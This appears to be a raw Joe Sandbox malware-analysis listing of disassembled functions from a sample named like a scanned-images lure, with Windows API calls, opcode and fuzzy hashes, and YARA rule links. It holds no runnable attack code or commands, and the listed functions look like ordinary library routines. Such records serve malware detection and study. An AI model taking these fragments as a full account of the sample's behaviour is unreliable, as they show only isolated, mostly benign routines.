ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00469693
SelectObject.GDI32(?,00000000), ref: 004696A2
BeginPath.GDI32(?), ref: 004696B9
SelectObject.GDI32(?,00000000), ref: 004696E2

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: feb6a1463d2ebd40287c37fc6d4b90bb8ac2cccdc7f7a4cc3db4c80ea62712a9
Instruction ID: e6407285554fd42b592b9c672f0ce0035e457a91f10de16a4e1503a1f05393c1
Opcode Fuzzy Hash: feb6a1463d2ebd40287c37fc6d4b90bb8ac2cccdc7f7a4cc3db4c80ea62712a9
Instruction Fuzzy Hash: 05214C70802749EBDB219F64DC447AB7B69BF32315F100226F410961B1E3B85C9BEB9E

Function 004B5711 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

_memcmp.LIBVCRUNTIME ref: 004B5726
_memcmp.LIBVCRUNTIME ref: 004B5744
_memcmp.LIBVCRUNTIME ref: 004B5757
_memcmp.LIBVCRUNTIME ref: 004B576F
_memcmp.LIBVCRUNTIME ref: 004B5787

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 0a9dca4f37dc450cb5ae7afae9aa81646e32d39eb1eb10b77513d8250a021b76
Instruction ID: f85a4c261ad5d736144c7814db7d4c1b5ff4d5e86f5d40c1764f9d3e3bcb4b11
Opcode Fuzzy Hash: 0a9dca4f37dc450cb5ae7afae9aa81646e32d39eb1eb10b77513d8250a021b76
Instruction Fuzzy Hash: 22019671741605BAB20855169D42FFBB35C9B21399F204037FD089A641FA6CEE1582BD

Function 00482DF8 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,0047F2DE,00483863,00521444,?,0046FDF5,?,?,0045A976,00000010,00521440,004513FC,?,004513C6), ref: 00482DFD
_free.LIBCMT ref: 00482E32
_free.LIBCMT ref: 00482E59
SetLastError.KERNEL32(00000000,00451129), ref: 00482E66
SetLastError.KERNEL32(00000000,00451129), ref: 00482E6F

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: e775ae2ee1c24b00ca2220bbb8fe5b441c375fcd14d6c183d7be70036352f7f2
Instruction ID: ca19448120cee76e731c09f37ea18e034953b99fbb6613b60ae7a966b394a3d3
Opcode Fuzzy Hash: e775ae2ee1c24b00ca2220bbb8fe5b441c375fcd14d6c183d7be70036352f7f2
Instruction Fuzzy Hash: 7C01D67228560067861237396E85D3F1559AFD1769B214C2BF825A22D3EBAC8802832C

Function 004B000E Relevance: 7.5, APIs: 5, Instructions: 47stringCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(?,?,?,00000000,?,?,?,-C000001E,00000001,?,004AFF41,80070057,?,?,?,004B035E), ref: 004B002B
ProgIDFromCLSID.OLE32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,004AFF41,80070057,?,?), ref: 004B0046
lstrcmpiW.KERNEL32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,004AFF41,80070057,?,?), ref: 004B0054
CoTaskMemFree.OLE32(00000000,?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,004AFF41,80070057,?), ref: 004B0064
CLSIDFromString.OLE32(?,?,?,?,?,00000000,?,?,?,-C000001E,00000001,?,004AFF41,80070057,?,?), ref: 004B0070

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: From$Prog$FreeStringTasklstrcmpi
String ID:
API String ID: 3897988419-0
Opcode ID: 33888b51a7025070253a6932a2c96c38b73bef0e4034cc1f1bf643e9e34d7c02
Instruction ID: d6c30c212f01e256d5a4e418107867a1aa0ca3134124eebec1af544975e0b167
Opcode Fuzzy Hash: 33888b51a7025070253a6932a2c96c38b73bef0e4034cc1f1bf643e9e34d7c02
Instruction Fuzzy Hash: 4F018B72600204BFDB116F68EC84BEB7AADFB44793F144125F905EA211EB79DD418BA4

Function 004BE97B Relevance: 7.5, APIs: 5, Instructions: 47sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?), ref: 004BE997
QueryPerformanceFrequency.KERNEL32(?), ref: 004BE9A5
Sleep.KERNEL32(00000000), ref: 004BE9AD
QueryPerformanceCounter.KERNEL32(?), ref: 004BE9B7
Sleep.KERNEL32 ref: 004BE9F3

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: d7a781e61fb6d1acf8758fa38b3048727936a6ab5adf6455ef6d04c43d38183e
Instruction ID: 314cb6233a28e0b787f67797ae1da2031fbaddf6509e89d5165a76f4e9edd6d3
Opcode Fuzzy Hash: d7a781e61fb6d1acf8758fa38b3048727936a6ab5adf6455ef6d04c43d38183e
Instruction Fuzzy Hash: 51012D71C01529DBCF009FE6DD996EDFB78FF49701F000556E502B6241CB38955ACBAA

Function 004B10F9 Relevance: 7.5, APIs: 5, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 004B1114
GetLastError.KERNEL32(?,00000000,00000000,?,?,004B0B9B,?,?,?), ref: 004B1120
GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,004B0B9B,?,?,?), ref: 004B112F
HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,004B0B9B,?,?,?), ref: 004B1136
GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 004B114D

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: HeapObjectSecurityUser$AllocErrorLastProcess
String ID:
API String ID: 842720411-0
Opcode ID: 6ce605d21eddaaee77b9d662d49912067baf266a5483eb880188bd677b70bd7f
Instruction ID: 47ce42ff8fc2d64c3f5421635dbffcb67a450f964b79e9977aca82d2b1dfad9b
Opcode Fuzzy Hash: 6ce605d21eddaaee77b9d662d49912067baf266a5483eb880188bd677b70bd7f
Instruction Fuzzy Hash: BF011D75100205BFDB114FA9DC99AAB3B6EEF8A360B504429FA45D7361DA31DC019A74

Function 004B0FB4 Relevance: 7.5, APIs: 5, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 004B0FCA
GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 004B0FD6
GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 004B0FE5
HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 004B0FEC
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 004B1002

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: cd505c0b8730582cd31cb3585e9a3a9f1898ad58741a3f97894d915453a00b7e
Instruction ID: 9566d6453651bfeddf8f800533ad73362c86cbd6c40233cda28abafa6308174c
Opcode Fuzzy Hash: cd505c0b8730582cd31cb3585e9a3a9f1898ad58741a3f97894d915453a00b7e
Instruction Fuzzy Hash: 92F0A935200345ABDB211FA49CCDF973BADEF8A762F500425FE05DA262CA30DC418A64

Function 004B1014 Relevance: 7.5, APIs: 5, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 004B102A
GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 004B1036
GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 004B1045
HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 004B104C
GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 004B1062

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 8936425d9f12a3b5c14f6e9f53aff1ee0258b22a36c2be5faf62448deb67c76c
Instruction ID: 2afbcc1854334d6b66663703475c19669976815423687b6de2599575f595de55
Opcode Fuzzy Hash: 8936425d9f12a3b5c14f6e9f53aff1ee0258b22a36c2be5faf62448deb67c76c
Instruction Fuzzy Hash: 63F0CD35200341EBDB212FA4ECD8F973BADEF8A761F100425FE05EB261CA30D8418A74

Function 004C030F Relevance: 7.5, APIs: 6, Instructions: 41COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,?,?,004C017D,?,004C32FC,?,00000001,00492592,?), ref: 004C0324
CloseHandle.KERNEL32(?,?,?,?,004C017D,?,004C32FC,?,00000001,00492592,?), ref: 004C0331
CloseHandle.KERNEL32(?,?,?,?,004C017D,?,004C32FC,?,00000001,00492592,?), ref: 004C033E
CloseHandle.KERNEL32(?,?,?,?,004C017D,?,004C32FC,?,00000001,00492592,?), ref: 004C034B
CloseHandle.KERNEL32(?,?,?,?,004C017D,?,004C32FC,?,00000001,00492592,?), ref: 004C0358
CloseHandle.KERNEL32(?,?,?,?,004C017D,?,004C32FC,?,00000001,00492592,?), ref: 004C0365

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 204aa1a763946fa0f1e05a3b7dc12b7f3c628e5ca66d4685899d8c67b73c38d4
Instruction ID: 985e538c2df6f0c97780b6239d63644c01876dd86561b3278f7b09693f1fdd63
Opcode Fuzzy Hash: 204aa1a763946fa0f1e05a3b7dc12b7f3c628e5ca66d4685899d8c67b73c38d4
Instruction Fuzzy Hash: A401DC76800B81CFCB30AF66D880813FBF9BF602153048A3FD59252A31C3B4A949CE84

Function 0048D73A Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0048D752

Part of subcall function 004829C8: RtlFreeHeap.NTDLL(00000000,00000000,?,0048D7D1,00000000,00000000,00000000,00000000,?,0048D7F8,00000000,00000007,00000000,?,0048DBF5,00000000), ref: 004829DE
Part of subcall function 004829C8: GetLastError.KERNEL32(00000000,?,0048D7D1,00000000,00000000,00000000,00000000,?,0048D7F8,00000000,00000007,00000000,?,0048DBF5,00000000,00000000), ref: 004829F0

_free.LIBCMT ref: 0048D764
_free.LIBCMT ref: 0048D776
_free.LIBCMT ref: 0048D788
_free.LIBCMT ref: 0048D79A

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 67c216abdaa2063e021cc9723780b37122cf033d08518f76fdc0bdbba978a87b
Instruction ID: cb241760b06db882ea1c6bf228bf9f05597ab54ef16dd6cc4b2b4a160dbf744e
Opcode Fuzzy Hash: 67c216abdaa2063e021cc9723780b37122cf033d08518f76fdc0bdbba978a87b
Instruction Fuzzy Hash: B3F04FB2A41204AB8621FB69FAC1C5F7BEDBB04310B954C0BF049D7642C72DFC808768

Function 004B5C44 Relevance: 7.5, APIs: 5, Instructions: 40windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 004B5C58
GetWindowTextW.USER32(00000000,?,00000100), ref: 004B5C6F
MessageBeep.USER32(00000000), ref: 004B5C87
KillTimer.USER32(?,0000040A), ref: 004B5CA3
EndDialog.USER32(?,00000001), ref: 004B5CBD

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: 87bd2b6aa4324dbdd151b613b120ac71108dd1d3c4bf8b77c272c6c8f20a080a
Instruction ID: 991dfa8aa43a5e132f54f8773face458731c0a47ecce11af0d85ddac589fc5ea
Opcode Fuzzy Hash: 87bd2b6aa4324dbdd151b613b120ac71108dd1d3c4bf8b77c272c6c8f20a080a
Instruction Fuzzy Hash: 97018B305007449BFB205B20DDCEFE7BBB9BF00705F00066AA543A50E1D7F469458A99

Function 004822A0 Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 004822BE

Part of subcall function 004829C8: RtlFreeHeap.NTDLL(00000000,00000000,?,0048D7D1,00000000,00000000,00000000,00000000,?,0048D7F8,00000000,00000007,00000000,?,0048DBF5,00000000), ref: 004829DE
Part of subcall function 004829C8: GetLastError.KERNEL32(00000000,?,0048D7D1,00000000,00000000,00000000,00000000,?,0048D7F8,00000000,00000007,00000000,?,0048DBF5,00000000,00000000), ref: 004829F0

_free.LIBCMT ref: 004822D0
_free.LIBCMT ref: 004822E3
_free.LIBCMT ref: 004822F4
_free.LIBCMT ref: 00482305

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 4b9d9d4beb7ffb054854075998280dd095edf8c611501786b29764f147457e1e
Instruction ID: 86e0de0a3a47c05eaa7089e61b3b54e273a57fc7bf72faf113da79f4d3f6d4fa
Opcode Fuzzy Hash: 4b9d9d4beb7ffb054854075998280dd095edf8c611501786b29764f147457e1e
Instruction Fuzzy Hash: 69F030F85815109B8622BF55BE4184D3F64BB3A750701294BF410D22B2C7791457BBAC

Function 004695C5 Relevance: 7.5, APIs: 5, Instructions: 29COMMON

Download Yara Rule

APIs

EndPath.GDI32(?), ref: 004695D4
StrokeAndFillPath.GDI32(?,?,004A71F7,00000000,?,?,?), ref: 004695F0
SelectObject.GDI32(?,00000000), ref: 00469603
DeleteObject.GDI32 ref: 00469616
StrokePath.GDI32(?), ref: 00469631

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: d1f44561877719925fdcf06bd984d838db263a7980c34530c27b2ff103adb97b
Instruction ID: eb01b8b4b222b8ed05f10483239796ec832c39e3c9079f3728506eca9a5c834d
Opcode Fuzzy Hash: d1f44561877719925fdcf06bd984d838db263a7980c34530c27b2ff103adb97b
Instruction Fuzzy Hash: DAF06D31006788EBC7264F64EC88B663B65AB22322F008224F425591F1D774499BEF2D

Function 00480F47 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 389COMMONLIBRARYCODE

Download Yara Rule

APIs

__freea.LIBCMT ref: 004810F9
__freea.LIBCMT ref: 00481117

Part of subcall function 00481537: _free.LIBCMT ref: 0048154F

Strings

a/p, xrefs: 004811DE
am/pm, xrefs: 0048117A

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: __freea$_free
String ID: a/p$am/pm
API String ID: 3432400110-3206640213
Opcode ID: 2cf32d43858787bfddf2db20b74720dfc6441e489ff6e6c4365dbd76614b51bd
Instruction ID: 28bdc92f05109c1edeb900fb14c892de6229e83cc1e0014bdf6551fc5eca774a
Opcode Fuzzy Hash: 2cf32d43858787bfddf2db20b74720dfc6441e489ff6e6c4365dbd76614b51bd
Instruction Fuzzy Hash: F1D1D331900205CAEB25AF68C845AFFB7B8EF06700F14495BE905ABB61D37D9D83CB59

Function 004D61D0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 324COMMON

Download Yara Rule

APIs

Part of subcall function 00470242: EnterCriticalSection.KERNEL32(0052070C,00521884,?,?,0046198B,00522518,?,?,?,004512F9,00000000), ref: 0047024D
Part of subcall function 00470242: LeaveCriticalSection.KERNEL32(0052070C,?,0046198B,00522518,?,?,?,004512F9,00000000), ref: 0047028A

Part of subcall function 004700A3: __onexit.LIBCMT ref: 004700A9

__Init_thread_footer.LIBCMT ref: 004D6238

Part of subcall function 004701F8: EnterCriticalSection.KERNEL32(0052070C,?,?,00468747,00522514), ref: 00470202
Part of subcall function 004701F8: LeaveCriticalSection.KERNEL32(0052070C,?,00468747,00522514), ref: 00470235

Part of subcall function 004C359C: LoadStringW.USER32(00000066,?,00000FFF,00000000), ref: 004C35E4
Part of subcall function 004C359C: LoadStringW.USER32(00522390,?,00000FFF,?), ref: 004C360A

Strings

x#R, xrefs: 004D636F
x#R, xrefs: 004D6353
x#R, xrefs: 004D633A

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: CriticalSection$EnterLeaveLoadString$Init_thread_footer__onexit
String ID: x#R$x#R$x#R
API String ID: 1072379062-4169567378
Opcode ID: f87dd7ac85cd8d4f9679f1759ad30120b7d84b7d38c96a26416280647d0f8bca
Instruction ID: b8f11610e78d5f35b1950b315f39de64def1f0e806bc82de073d090920cc64d6
Opcode Fuzzy Hash: f87dd7ac85cd8d4f9679f1759ad30120b7d84b7d38c96a26416280647d0f8bca
Instruction Fuzzy Hash: C5C17B71A00105ABCB14EF59D8A0EBAB7B9EF48304F11806FE9059B391DB78ED45CB99

Function 00485AA9 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 186COMMONLIBRARYCODE

Download Yara Rule

Strings

JOE, xrefs: 00485BA8, 00485C6C

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID:
String ID: JOE
API String ID: 0-4078647249
Opcode ID: faff96f762d5cbee51d1821edaf495a0245764b5aff707f579d130e4e19cebbd
Instruction ID: ec665c1d7802b9e7d7e9bb2f6477486f65e625d6e4aa7639b49578954dfa7754
Opcode Fuzzy Hash: faff96f762d5cbee51d1821edaf495a0245764b5aff707f579d130e4e19cebbd
Instruction Fuzzy Hash: D4511075D006099FCB21BFA9C845FEFBBB8AF15314F10085BF404A7292D7399942CB6A

Function 00488A61 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 124COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,00000002,00000000,?,?,?,00000000,?,?,?,?), ref: 00488B6E
GetLastError.KERNEL32(?,?,00000000,?,?,?,?,?,?,?,?,00000000,00001000,?), ref: 00488B7A
__dosmaperr.LIBCMT ref: 00488B81

Strings

.G, xrefs: 00488A63

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

